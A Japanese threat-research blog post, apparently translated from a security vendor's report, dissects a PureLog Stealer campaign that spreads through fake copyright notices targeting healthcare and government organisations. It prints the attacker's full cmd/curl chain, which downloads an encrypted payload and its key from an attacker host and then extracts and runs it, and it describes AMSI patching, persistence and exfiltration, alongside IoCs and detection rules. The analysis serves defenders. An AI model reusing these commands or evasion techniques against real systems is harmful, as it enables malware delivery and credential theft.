マルウェア
偽の著作権侵害通知から多段階攻撃経由でインフォスティーラ「PureLog Stealer」を展開:主要産業が標的に
本記事では、暗号化されたインフォスティーラ「PureLog Stealer」をメモリ上でファイルレスに展開し、検知回避を試みる攻撃キャンペーンを段階別に解説します。
- インフォスティーラ「PureLog Stealer」を配信する攻撃キャンペーンでは、より標的を絞った手口が確認されました。攻撃者は、標的国内の主要言語で記述した偽の著作権侵害通知を誘導手口に用いてファイルの開封率を高めていました。
- 攻撃者は、検知回避のために暗号化されたペイロードや復号鍵を稼働中のC&Cサーバから段階別に取得させることで、静的解析を困難にさせています。
- 最終ペイロードは、ファイルレス活動に依存しており、Pythonベースのローダや.NETベースの2つのローダを通じてメモリ内ですべて展開されます。
- 攻撃者は、AMSI機能無効化による検知回避、レジストリ変更による不正活動の永続化、スクリーンの撮影、感染端末に関わるフィンガープリントの取得といったすべての機能をローダに採用し、ステルス性や情報収集機能を高めています。
- テレメトリに基づき、医療業界、政府機関、ホスピタリティ業界、教育業界の組織を狙う本攻撃キャンペーンでは、PureLog Stealerに関連するC&Cサーバとの通信が確認されました。
はじめに
本調査では、標的を絞ってインフォスティーラ「PureLog Stealer」を配信する攻撃キャンペーンを特定しました。本攻撃キャンペーンで攻撃者は、偽の著作権侵害通知を起点にパッケージ化されたアセンブリを段階的に展開し、機密データ(ブラウザ認証情報(Chrome)、拡張機能、暗号資産(仮想通貨)ウォレット、システム情報などを含む)を窃取しています。PureLog Stealerは、低コストかつ操作しやすいインフォスティ-ラであり、技術力の低い攻撃者でも偵察活動が可能となります。本攻撃キャンペーンで攻撃者は、標的国内の主要言語で記述した偽の著作権侵害通知(悪意ある実行ファイル)を誘導手口に用いて、フィッシングメール経由でダウンロードさせようと試みています。
偽の著作権侵害通知(実行ファイル)は実行されると、セキュリティ機能による検知を回避する目的で多段階に感染チェーンを展開します。特筆すべき点は、同マルウェアが偽のPDFファイル(暗号化されたペイロード)をダウンロードした後、復号に用いるパスワードを攻撃者の管理するC&Cサーバからリモートで取得することです。本攻撃キャンペーンでは、ペイロード抽出時に組み込みの復号コードを用いる代わりに、名前の変更されたWinRARユーティリティ(画像ファイル(.png)に偽装されている)が悪用されていました。
抽出されたペイロードは、Pythonで作成されたローダ型マルウェアを実行します。実行されたローダは、.NETで作成された最終ペイロード(PureLog Stealer)をメモリ内で復号して実行します。この処理には、自動解析機能による分析を阻止するために仮想マシン回避機能も組み込まれています。
本調査では、本攻撃キャンペーンの主な標的がドイツやカナダ国内の医療業界や政府機関と判明しました。これは攻撃者が単にマルウェアをばらまいているのではなく、攻撃対象を絞り、構造化されたフレームワークからマルウェアを配信させることで検知回避を試みていることを示唆しています。
インフォスティーラ「PureLog Stealer」を展開する攻撃キャンペーンの概要
本攻撃キャンペーンで攻撃者は、メール受信者がマルウェアを実行する確率や検知回避の可能性を高めるために多段階に設計された感染チェーンを通じてPureLog Stealerを配信しています。
標的国内の主要言語で記述された誘導手口
攻撃者は、悪意ある実行ファイルを著作権侵害通知に偽装させていたほか、ファイル名を標的国内の主要言語で記述していました。(例:ドイツ国内では、ドイツ語で記述された実行ファイルが確認された一方で、カナダ国内では、英語で記述されたものが確認されました)。
攻撃者はこれらの実行ファイルを直接添付せず、フィッシングメールに埋め込んだ悪意あるダウンロードURLを通じて配信させることで、ペイロードの設置場所や暗号化処理などを一元的に制御していました。このためユーザは、不審な / 予期しないメールに埋め込まれたリンクをクリックしないよう常日頃から注意する必要があります。
本攻撃キャンペーンにおける標的組織
本調査では、以下の業界 / 国内ユーザを狙った攻撃キャンペーンが確認されました。
- 業界
- 医療業界
- 政府機関
- ホスピタリティ業界
- 教育業界
- 国
- ドイツ
- カナダ
- アメリカ合衆国
- オーストラリア
標的国を限定した配信手口や特定の業界を狙った攻撃活動は、攻撃者が無差別に攻撃を展開しているのでなく、攻撃対象を選定していることを示しています。
本攻撃キャンペーンで確認された主な特徴を以下に示します。
- 最初の実行処理を開始するためにDLLサイドローディングの手口が採用されている
- 暗号化されたペイロードがPDFファイルに偽装された形で配信される
- 復号処理に用いるパスワードがC&Cサーバからリモートで取得される
- 名前の変更されたWinRARユーティリティがペイロード抽出時に用いられる
- .NETで作成されたPureLog Stealer(ペイロード)がPythonで作成されたローダによって復号・実行される
第一段階:メール受信者が不正ファイルを実行する
感染チェーンは、メール受信者が偽の著作権侵害通知(悪意ある実行ファイル)を手動実行することで始まります。
Dokumentation über Verstöße gegen Rechte des geistigen Eigentums.exe(英訳:Documentation on Intellectual Property Rights Violations.exe)(和訳:知的財産権侵害に関する文書.exe)
上記の実行ファイルは実行されると、下記コマンドインタープリタを起動します。
> cmd.exe /c ...
本攻撃キャンペーンは、ユーザによる操作を必要とし、第一段階では、エクスプロイト(脆弱性悪用手口)やセキュリティ上の弱点は一切用いられていませんでした。
第二段階:おとり文書(偽のファイル)
その後マルウェアは、メール受信者に不審感を抱かせないよう、すぐにおとり文書(偽のPDFファイル)を開きます。一見無害な文書が表示される一方で、バックグラウンドでは不正活動が継続されています。
start "" ".\_\document.pdf"
攻撃者がおとり文書を用いる目的は、メール受信者の注意をそらし、バックグラウンドで実行中の不正活動が正当なものであるようかに見せかけるためにあります。
第三段階:暗号化されたペイロード
その後マルウェアは、攻撃者の制御するC&Cサーバから暗号化されたペイロードをダウンロードします。
curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ" -o ".\_\invoice.pdf"
curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ" -o "._\invoice.pdf"
主な技術的詳細を以下に示します。
- 独自のユーザエージェント:curl/meow_meow
- \-s (サイレントモード)
- \-k (TLS証明書の検証を回避させる)
- \-L (リダイレクトを追跡する)
- 「_invoice.pdf」としてローカルに保存される
PDFとして保存されますが、同ファイルは実際には暗号化されたアーカイブファイルと判明しました。
第四段階:サーバからパスワードがリモートで取得される
攻撃者は、アーカイブファイルに用いるパスワードをマルウェアに埋め込まず、以下のC&Cサーバから動的に取得されるようにしていました。
curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare.com/DQ/key"
上記リクエストに対する応答はコマンドライン変数(%)内に格納され、抽出時に用いられます。マルウェアにはハードコードされた静的なパスワードが含まれていないため、オフライン環境での分析調査は極めて困難となります。この手口により攻撃者は、感染端末ごとに異なるパスワードを設定できるため、各感染活動を個別に制御または無効化できるようにしていました。
さらにこの設計により、攻撃者の制御するC&Cサーバが稼働していない場合にペイロードが抽出されないようになっています。全体として攻撃者は、復号処理をC&Cサーバ経由で制御する方法を確立しており、ペイロードをいつ、どのように配信するかを完全に遠隔制御できるようにしています。
第五段階:名前の変更されたを用いたアーカイブ抽出手口
この段階では、画像ファイル(.png)に偽装された下記ファイルが実行されました。
- _FILE_2025년_재직증명서_원본.png(英訳:2025 Employment Certificate – Original)(和訳:_ファイル_2025_在職証明書_原本.png)
この画像ファイルは、実際には名前の変更されたWinRAR.exeでした。
以下に抽出コマンドを示します。
"._\FILE_2025년_재직증명서_원본.png" x -p"%i" "._\invoice.pdf" "C:\Users\Public" -y
この段階で用いられたコンポーネントの詳細を以下に示します。
- x → アーカイブを抽出する
- \-p「%i」 → 動的に取得したパスワードを用いる
- 出力情報 → C:\Users\Public\
- \-y → 自動的に上書きする
この段階では、正規のアーカイブ機能を用いて後続ペイロードが復号・抽出されました。
第六段階:アーカイブファイルが削除される
後続ペイロードの抽出後、暗号化されたアーカイブファイルが削除されました。
del "._\invoice.pdf"
これにより攻撃者は、暗号化された一時ファイルを削除して自身の不正活動の痕跡(アーティファクト)を減少させ、フォレンジック調査を困難にしていると考えられます。
第七段階:ステージングディレクトリへと切り替える
その後、作業ディレクトリは、以下の場所に変更されます。
cd "C:\Users\Public\Windows"
Windowsの正規ディレクトリ構造を模範した上記の場所に変更することで攻撃者は、ユーザに不信感を抱かせないようにしていると考えられます。
第八段階:偽のシステムバイナリを実行する(第二段階のローダ)
この段階では、抽出されたペイロードが実行されました。
"C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
この段階で確認された主な不正活動を以下に示します。
- 本事例で確認された「svchost.exe」は、Windowsの正規コンポーネントではなく名前の変更された「python.exe」で、Pythonスクリプトを実行するために用いられました。
- 「instructions.pdf」は、難読化されたPythonスクリプトで、.NETで作成された2つの実行ファイルを読み込むローダとして用いられました。
TrendAI Vision One™による検出対応結果
2026年2月6日、TrendAI Vision One™の検出モデル「Executable Download via Google Ads Malvertising(和訳:Google広告上のマルバタイジング(不正広告)経由で実行ファイルをダウンロードした場合に知らせる検出モデル)」が作成されました。同検出モデルは、Google広告用トラッキングパラメータ(gclid、gad_source、gad_campaignidなど)を含むURLから実行ファイル(.exe、.dll、.bat、.msi)が直接ダウンロードされる場合に機能します。同検出モデルは、増加するマルバタイジングの脅威に対処します。攻撃者は、マルバタイジングの手口としてGoogle上のスポンサー広告にマルウェアを配信するリンクを埋め込むことで、Google広告のインフラを悪用しています。
PureLog Stealerを配信する本攻撃キャンペーンは、その顕著な例であり、攻撃者はフィッシングメールやマルバタイジングの双方を通じてペイロードを展開しています。後者の手口を用いる攻撃者は、広告枠を購入した後、監視やセキュリティ回避を目的に、トラッキングパラメータの付いたダウンロードサイトへと訪問者を誘導します。TrendAI™ Vision Oneのテレメトリに基づく同検出モデルは、特にGoogle広告用のパラメータを含むURLからダウンロードされる実行ファイルを対象に検出対応することで、こうした巧妙な攻撃手口を検出・防止する機能を向上させています。
TrendAI™ Vision Oneにおける検出対応の仕組み
以下の条件が満たされた場合に検出ルールが適用されます。
- インターネット上でのダウンロードイベントが検出された場合
- リクエストの対象が実行ファイルである場合
- URLにGoogle広告用のパラメータが含まれている場合
- ドメインがホワイトリストに含まれていない場合
検出ルールが適用される条件:
"eventsub and bin_download and google_ads_params and not 1 of whitelist_*"
同検出ルールは、Google広告用トラッキングパラメータ(gclid、gad_source、gad_campaignidなど)を含むURLを通じて実行ファイルが直接ダウンロードされる際に機能します。同攻撃経路は、Google広告などの正規インフラを悪用するマルバタイジングキャンペーンを通じてマルウェアを配信させるために多くの攻撃者が採用しています。
C&Cサーバ経由で残存したアーティファクトの特定
本調査では、侵害されたエンドポイントからアーティファクトを収集するためにTrendAI Vision One™を用いました。攻撃者が誘導手口に用いた実行ファイルはDownloadsディレクトリ内に保存されていました
C:\Users[REDACTED]\Downloads\Notice of Alleged Violation of Intellectual Property Rights_1770380091603\Notice of Alleged Violation of Intellectual Property Rights.exe
これは、同ファイルがインターネット経由で感染端末上にダウンロードされたことを示唆しています。
TrendAI Vision One™のテレメトリに基づき、同実行ファイルを含むZIPファイルが不明なソースからChrome経由でダウンロードされていたことが明らかとなりました。
hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip
このZIPファイルにはシェルコードローダが含まれており、実行されると、感染チェーンの一環として複数の後続プロセスを生成します。このコマンドは、おとり文書を開封するほか、C&Cサーバから取得したパスワードを用いて別にダウンロードしたペイロードを抽出した後、アーティファクトを除去して不審なファイルを実行します。この一連の流れは、セキュリティ検知を最小限に抑えつつ、マルウェアを配信するように設計されています。
2 - TELEMETRY_PROCESS_CREATE
processCmd: cmd.exe /c start "" ".\_\document.pdf" && curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ" -o ".\_\invoice.pdf" && for /f "delims=" %i in ('curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ/key"') do ".\_\FILE_2025년_재직증명서_원본.png" x -p"%i" ".\_\invoice.pdf" "C:\Users\Public\" -y >nul && del ".\_\invoice.pdf" && cd "C:\Users\Public\Windows" && "C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
上記コマンドやおとり文書(偽のPDFファイル)の動作を深堀調査するために以下の検索クエリを用いました。その結果、PureLog Stealerとの強い関連性を示す証拠が得られました。
Search Query: endpointHostName:[REDACTED] AND ("*document.pdf*" OR "*instructions.pdf*" OR "*invoice.pdf*")
301 - TELEMETRY_DNS_QUERY
processFilePath C:\Windows\System32\curl.exe
processCmd curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ" -o ".\_\invoice.pdf"
- quickdocshare[.]com
- dq[.]bestshoppingday[.]com
- logs[.]bestshopingday[.]com(PureLog Stealerとの強い関連性が確認されたURL)
4 - TELEMETRY_PROCESS_LOAD_IMAGE
- processFilePath C:\Users\Public\Windows\svchost.exe
- processCmd "C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
本調査で確認されたsvchost.exeは、Pythonスクリプト実行時に用いられる署名付きpython.exeです。
親プロセスは、ファイルのダウンロード、復号用と考えられる鍵の使用、ファイルの削除、不審な実行ファイルの起動を実施します。
その後、「C:\Users\Public\Windows\」ディレクトリ配下に複数の.dllや.pydファイルが作成されました。
- C:\Users\Public\Windows\python314.dll
- C:\Users\Public\Windows\DLLs_ctypes.pyd
- C:\Users\Public\Windows\DLLs\libffi-8.dll
- C:\Users\Public\Windows\DLLs_hashlib.pyd
- C:\Users\Public\Windows\DLLs\libcrypto-3.dll
- C:\Users\Public\Windows\DLLs_socket.pyd
- C:\Users\Public\Windows\DLLs_ssl.pyd
- C:\Users\Public\Windows\DLLs\libssl-3.dll
- C:\Users\Public\Windows\DLLs_bz2.pyd
- C:\Users\Public\Windows\DLLs_lzma.pyd
- C:\Users\Public\Windows\DLLs_zstd.pyd
- 166[.]0[.]184[.]127(PureLog Stealerに関連付けられたC&Cサーバ)
- 172[.]64[.]80[.]1
- 64[.]40[.]154[.]96
このマルウェアは、感染端末にインストールされているセキュリティ対策製品を確認するためにすべて列挙します。
プロセスインジェクション
図5または下記のコマンドは、Microsoft EdgeまたはGoogle Chromeを拡張機能用のレンダラプロセスとして起動し、ユーザの一時プロファイルを用いてサンドボックス機能を無効化し、安全でないオリジンを安全として扱うよう設定します。これらのフラグは、拡張機能を用いた自動化処理や検知回避、プロセス分離処理に対応するため、しばしばマルウェアに採用されています。
processFilePath C:\Users\Public\Windows\svchost.exe
processCmd C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\instructions.pdf 1
eventSubId 701 - TELEMETRY_MODIFIED_PROCESS_CREATE_REMOTETHREAD
objectCmd "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\[REDACTED]\AppData\Local\Temp\qs4hg1fa.prl" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --time-ticks-at-unix-epoch=-1770049222788996 --launch-time-ticks=353424829690 --metrics-shmem-handle=4156,i,299084443807041640,15390022656206001629,2097152 --field-trial-handle=2068,i,9344726561852850498,17132715209763330275,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=3988 /prefetch:9
GZip形式で圧縮されたペイロード
さらにGZipファイルを解凍してペイロードを展開する動作が確認されました。展開されたペイロードは、システムに関する詳細、セキュリティ対策製品、ユーザ情報、外部IPアドレス、不審な実行ファイル(通常存在しない場所に位置するsvchost.exe)へのパスを報告します(図7)。
processFilePath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
processCmd
H4sIAAAAAAAEAFN6ysj1iJHrPiOXgpuLoZmbq7Ori6OTqbmTgZEpkDZ2dLF0djRxtrAwchNgVDIIz8xLyS8vVnBJTUvNS0kt0lEIKQIyFHwzk4vyFRwLUisU/PNSFRzzSjLLMotKi7UEYDoMDRXMTJwyS4xYTfSM9QysWEKLU4uchBOTilJLMlKLMpOzo/2DPRzDHWM9Dm5lDuIxM9EzMdAzNDXRszSLYvbTd0xgKWIHWptYmlNSpexsFQPSXxwTUJqUk5kcA7UlprgsOSO/uEQvtSK1iZHbIEXBIEPBIFfBoBgAZeNq1egAAAA=
parentCmd C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\instructions.pdf 2
parentFilePath C:\Users\Public\Windows\svchost.exe
上記コマンド内のエンコードされた文字列がデコードされる流れを以下に示します。
- Base64でデコードされる:先頭のエンコードされた文字列がデコードされる
- GZip形式のファイルが展開される:Base64でデコードされた出力情報によってGZip形式のヘッダが明らかになる
- Protobufスキーマを用いてデシリアライズされる:展開されたデータは、Protocol Buffersスキーマを用いてデシアライズされる
以下の表2では、マルウェアが感染端末上で処理したマシンフィンガープリントを概説します。
このマルウェアはGoogle Chromeを起動し、最小限のHTMLページ(タイトル「PURE! CHROME」)を表示します(図9)。
誘導手口として機能するZIPファイル「Alleged Violation of Intellectual Property Rights_1770380091603.zip」は、以下のコンポーネントを含んでいます。同ZIPファイルは、不明な外部ソースから取得されたものです。
hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip(SHA256: 35efc4b75a1d70c38513b4dfe549da417aaa476bf7e9ebd00265aaa8c7295870)
Notice of Alleged Violation of Intellectual Property Rights.exe(後にファイル名が「ADNotificationManager.exe」に変更される(SHA256: 1539dab6099d860add8330bf2a008a4b6dc05c71f7b4439aebf431e034e5b6ff)
「urlmon.dll」(シェルコードローダ:SHA256: ac591adea9a2305f9be6ae430996afd9b7432116f381b638014a0886a99c6287)
暗号化されたペイロード(invoice.pdf)は、外部ソース「quickdocshare[.]com」からダウンロードされました。
同ペイロード(invoice.pdf)は、C:\Users\Public\Windows\配下に複数のファイル(名前の変更された以下のPythonアプリを含む)を抽出します。
svchost.exe(SHA1: f4532fc1e5d53a732fcc883f7125ceb06b985048)
本調査で特定されたドメインのうち2つは、以前の事例で確認されたドメインと一致しました。
- mh[.]bestshopingday[.]com
- quickdocshare[.]com
- logs[.]bestsaleshoppingday[.]com
さらに以下のIPアドレスに対するアウトバウンド接続が確認されました。
- 172[.]64[.]80[.]1(Cloudflare)
- 166[.]0[.]184[.]127(PureLog Stealerに関連付けられたC&Cサーバ)
- 64[.]40[.]154[.]96(Tier.Net Technologies LLC)
ペイロードの特定:感染チェーン全体およびインフォスティーラ「PureLog Stealer」への帰属
instructions.pdfがないままでは、最終ペイロードを特定したり、本攻撃キャンペーンに採用されたマルウェアファミリを確認したりすることができない状態でした。初期調査時においては、感染チェーンの大部分を再構築できたものの、同ファイルが欠如していたことで重要な情報については空白のままでした。
残念なことに初期対応の時点でインシデント対応チームは、感染端末からinstructions.pdfを取得することができませんでした。
instructions.pdfの分析結果
VirusTotalを通じてinstructions.pdfを入手した後、静的解析や動的解析を実施しました。同ファイルは「.pdf」の拡張子を持つものの、実際には文書ではなく、感染チェーンの早い段階で実行されたローダ(Pythonで作成されている)が用いるペイロードのドロッパとして機能することを突き止めました。
Pythonで作成された同スクリプト(ローダ)は、Windows端末上で機能するよう設計されているほか、高度な難読化が施されています。すべての文字列はBase64でエンコードされ、すべての数値定数は多項式の算術式によって隠蔽されています。不要な部分をすべて除去した結果、同スクリプトには、特定の実行順序に従って動作する8つの異なる機能が実装されていることが判明しました(図11)。
機能1: Windows Defenderのマルウェア対策スキャンインターフェイス(AMSI)による検知を回避する
同スクリプトは、自身のペイロードを読み込む前にWindows DefenderのAMSI機能を無効化させます。無効化させる動作は二段階に行われます。第一段階では、AmsiScanBuffer関数に「MOV EAX, E_INVALIDARG + JMP」命令でパッチを適用し、関数が常に「not malicious(脅威は見つかりませんでした)」と返すようにします。一方、第二段階では、AmsiScanBuffer関数以降を動的にスキャンして条件付きジャンプ命令(JZ/JNZ)を探し出し、それらを無条件ジャンプ(JMP)に置き換えます。これにより攻撃者は、第一段階の処理が部分的に検知された場合でも、AMSI機能による検知を回避できるようにしています。
機能2:COM / CLRを介した.NETリフレクション
攻撃者は同スクリプトにAMSI機能を無効化させた後、暗号化された.NETアセンブリ全体をメモリ内に読み込ませ、ファイルがディスクに書き込まれないようにしていました。同スクリプトは、COMの低レベルな仕組み(vtable呼び出し)を用いて.NETの実行環境(CLR)をブートストラップしてSAFEARRAY(復号されたアセンブリのバイトを含む)を構築した後、AppDomain.Load_3()を呼び出してペイロードを反射的に読み込んで実行します。呼び出し規約は、検出されたアーキテクチャ(32ビット/64ビット)に応じて実行時に選択されます。
機能3:レジストリ変更により自身の不正活動を永続化させる
同スクリプトは、現在ログインしているユーザのレジストリRunキー配下にWindowsの自動実行エントリとして自身を登録します。攻撃者は、同レジストリ値を「SystemSettings」と設定してWindowsの正規コンポーネントに偽装させ、ユーザに不信感を抱かせないようにしています。書き込みを実行する前にスクリプトは、既存の値をすべて削除し、常に最新のパスに更新されるようにします。これにより攻撃者は、ユーザがログインするたびにスクリプトが確実に再起動されるようにしていました。
機能4: スクリーン全体をフル解像度で撮影する
このスクリプトは、WindowsのGDI(Graphics Device Interface)APIを用いてスクリーン全体をフル解像度で撮影し、生のピクセルデータ(BGR形式の24ビット)を抽出します。次にBottom-up形式で格納された生データを反転させた後、メモリ内に有効な画像ファイル(.png)を自身で変換します(この際、PIL/Pillowを用いたり、ファイルがディスクに書き込まれたりすることはありませんでした)(図15)。その後、画像ファイルは、Base64でエンコードされた後、JSONで作成されたペイロード内に埋め込まれ、C&Cサーバに送出されます(図17)。
機能5:感染端末からフィンガープリントが取得される
スクリーンショットを外部送出する前にスクリプトは、感染端末に関わる3つのデータを収集します(具体的には、感染端末のホスト名、ログイン中のユーザ名、インストールされているセキュリティ対策製品の名前)(図16)。
セキュリティ対策製品の列挙は、WMI名前空間(SecurityCenter2)に対し、WMIコマンドラインユーティリティを用いてバックグラウンドで実行されます。これは、攻撃者の多くが感染端末に攻撃継続価値があるかどうかを判断し、後続ペイロードの配信を決定する際に用いる偵察手法です。
機能8: HTTPS POST経由でC&Cサーバにデータを外部送出させる
収集されたデータはすべてJSONオブジェクト内に格納され、HTTPS経由でC&Cサーバに送信されます。重複送信を防ぐため(例:永続化を確立した「Run」キーにより再起動された後など)にスクリプトは、別のレジストリキーに状態フラグを保持するよう設定されています。HTTPレスポンス(200)が正常に返されるとスクリプトは、AppModel\StateRepository配下のCacheVersionにDWORD値1337を書き込みます。以後に実行された際、スクリプトは最初に同キーを読み取り、1337が書き込まれている場合は、自身の不正活動をすぐに終了させます。
最終ペイロード(PureLog Stealer)が配信される手順
Pyhtonで作成されたローダ(instractions.py)には、XOR方式で暗号化されたペイロード(.NETで作成された実行ファイル)が2つ含まれており、Base64でエンコードされています。実行時、これらのペイロードはDgrfauysx.exeとFsywsuac.exeにデコードされた後、同時に起動されます。これでスクリプトの処理はすべて終了し、以後の不正活動はすべて2つの実行ファイル(Dgrfauysx.exeとFsywsuac.exe)内部で実行されます。
第一段階:.NETフレームワークで作成されたローダ(Dgrfauysx.exeとFsywsuac.exe)
2つのローダは、構造的に同じ.NETアセンブリであり、ConfuserExによって難読化されています(ConfuserExとは、制御フローを数百のswitch-case文に条件分岐させる難読化ツール(ステートマシンベース)のことです)。攻撃者は、この難読化ツールを用いることで静的解析を極めて難しくしています。難読化されているにもかかわらず、両アセンブリは同じ復号処理の流れに従います。
- ローダは、ハードコードされたリソース名(Dgrfauysxの場合は「Filkxqmxu」、Fsywsuacの場合は「Cgwcx」)を指定してResourceManager.GetObject()を呼び出し、自身に埋め込まれたリソースから暗号化された大容量のデータ(Blob)を取得します。
- BlobはTripleDESのCBCモードで復号されます。鍵や初期化ベクトル(IV)は、Base64形式の文字列として.NETの#US(ユーザ文字列)ヒープに格納されています。
- 復号された出力情報は、GZip形式で圧縮された.NETアセンブリ(PEファイル)です。
- GZip形式で圧縮されたストリームは、System.IO.Compression.GZipStreamを通じてメモリ上で解凍されます。
- 結果として得られるアセンブリの生データは、ファイルがディスクに書き込まれることなく、Assembly.Load()を通じて現在のAppDomain内に直接読み込まれます。
2つのローダ(「Dgrfauysx」と「Fsywsuac」)が同時に起動されるという設計内容は、冗長性を確保のための仕組みであると推測されます。具体的には、一方のローダがエンドポイント制御によってブロックまたは強制終了された場合でも、もう一方のローダが独立してPureLog Stealerを配信して実行するという動作が挙げられます。両ローダにおいては、同じC&CサーバのIPアドレスやレジストリキーを用いた永続化の仕組みが確認されています。
最終ペイロード:メモリ内で展開されるインフォスティーラ「PureLog Stealer」
Assembly.Load()によって読み込まれる.NETアセンブリがPureLog Stealerであり、ローダ(プロセス)のマネージドヒープ上ですべて実行されます。ファイルがディスク上に書き込まれないため、エンドポイント上のファイル作成イベントを監視する検知ツールやパターンマッチング方式(シグネチャベース)を用いるセキュリティ対策製品では、検出対応できません。ローダは、GC.Collect()やスレッドのクリーンアップを実行して、自身のオブジェクトをマネージドヒープから削除します。これにより攻撃者は、プロセス内で稼働する.NETコードとしてPureLog Stealerだけが残るようにしています。
まとめ
攻撃者はPureLog Stealerを配信する攻撃キャンペーンで、ソーシャルエンジニアリングの手法、段階的なペイロード配信手口、メモリ内実行処理を組み合わせて感染チェーンを高度に構造化させることで、セキュリティ検知やフォレンジック調査を困難にしています。
本攻撃キャンペーンで攻撃者は、偽の著作権侵害通知(悪意ある実行ファイル)、PDFファイルとして表示される暗号化されたペイロード、C&Cサーバから動的に復号鍵を取得させる手口、名前の変更されたWinRARユーティリティを悪用した抽出手口を採用することで静的な痕跡を最小限に抑えつつ、自動解析機能による検知 / 分析を回避させています。攻撃者は、Pythonで作成されたローダや.NETで作成された2つのローダを用いて冗長性の確保やファイルレスでの実行処理を可能にしているほか、最終ペイロード(PureLog Stealer)がメモリ内で確実に実行され、ディスク上に自身の痕跡が書き込まれないようにしています。
全体を考慮し、本攻撃キャンペーンで攻撃者は、広範かつ無差別なマルウェアばらまき型攻撃から標的を選定した攻撃へと手口を移行させていると考えられます。なお、複数国の政府機関、ヘルスケア業界、教育業界、医療業界などで被害が確認されています。攻撃者は、難読化、C&Cサーバを介した復号処理、メモリ内での実行処理を組み合わさせて本攻撃キャンペーンを展開しています。これらの脅威を特定して軽減させるためには、挙動監視、ネットワーク上のテレメトリ、プロアクティブな脅威ハンティングを用いたセキュリティ体制が重要であることを強く示しています。
TrendAI Vision One™によるプロアクティブセキュリティ
TrendAI Vision One™は、CREM(Cyber Risk Exposure Management)やセキュリティオペレーションを一元化し、オンプレミス、ハイブリッド、マルチクラウド環境にまたがる堅牢な多層防御を提供する、唯一のAI駆動型統合セキュリティ基盤です。
TrendAI Vision One™ Threat Intelligence Hub
TrendAI Vision One™ Threat Intelligence Hubでは、新たな脅威や攻撃者に関する最新の知見やTrendAI™ Research独自の戦略レポート、Threat Intelligence Feed(スレットインテリジェンスを用いた保護機能)を提供しています。
新たな脅威:
Copyright Lures Mask a Multi‑Stage PureLog Stealer Attack on Key Industries
TrendAI Vision One™ Intelligence Reports(IOC Sweeping)
Copyright Lures Mask a Multi‑Stage PureLog Stealer Attack on Key Industries
TrendAI Vision One™ Search App
Trend Vision Oneをご利用のお客様は、検索アプリにお客様の環境内のデータを用いることで、本ブログ記事で言及されている悪意のある指標をマッチングまたはハントすることができます。
スレットハンティングクエリ
detectionName:*PURELOGSSTEALER*
TrendAI Vision Oneをご利用中で、「Threat Intelligence Hub」が有効となっている場合、より多くの脅威ハンティングクエリをご確認いただけます。
侵入の痕跡(IoC: Indicators Of Compromise)
本ブログ記事に関する侵入の痕跡は、こちらをご参照ください。
参考記事
Copyright Lures Mask a Multi‑Stage PureLog Stealer Attack on Key Industries
By: Mohamed Fahmy, Allixon Kristoffer Francisco, Jonna Santos
翻訳:益見 和宏(Platform Marketing, TrendAI™ Research)